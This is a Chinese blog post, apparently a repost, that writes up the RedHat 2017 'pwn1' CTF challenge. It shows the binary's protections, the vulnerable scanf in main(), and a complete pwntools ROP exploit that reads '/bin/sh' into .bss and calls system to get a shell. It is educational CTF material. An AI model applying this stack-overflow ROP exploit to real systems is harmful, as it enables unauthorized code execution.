RedHat 2017-pwn1题目复现

匿名 (未验证) 提交于 2019-12-02 23:57:01

碰到了RedHat 2017 的一道pwn,算是一道很经典的ROP,这里记录一下。

进程只有一个输入点:

检查保护机制:

Arch:     i386-32-little RELRO:    Partial RELRO Stack:    No canary found NX:       NX enabled PIE:      No PIE (0x8048000) 

可以看见开启了NX

我们将进程拖进ida中查看:

int __cdecl main() {   int v1; // [esp+18h] [ebp-28h]    puts("pwn test");   fflush(stdout);   __isoc99_scanf("%s", &v1);   printf("%s", &v1);   return 1; } 

进程流程非常简单,可以看到在scanf函数处存在溢出问题,我们可以使其执行system命令,而在进程中可以找到内置的system命令,但是我们无法在进程中获取到/bin/sh字符串,这里再次利用rop技术,调用scanf函数将/bin/sh字符串读取到进程段中,然后再执行system函数

这里介绍一下神器pwntools的ROP模块的用法,例如:

rop.call('read', (0, elf.bss(0x80))) 

其中

(0, elf.bss(0x80)) 

是read函数的参数,即使call的函数参数只有一个,我们也要使用一个元组(参数1,)这样

回到本进程,我们来判断需要填充的字节个数:

我们需要填写52个无用字符

下面编写exp:

from pwn import *  p = process('./pwn1')  elf = ELF('./pwn1')  rop = ROP('./pwn1')  rop.call(0x08048410,(0x08048629, 0x0804A040)) rop.system(0x0804A040) payload = str(rop) p.sendline(52*'a'+payload)   p.sendline('/bin/sh')  p.interactive() 

成功获得shell

原文:大专栏RedHat 2017-pwn1题目复现


标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!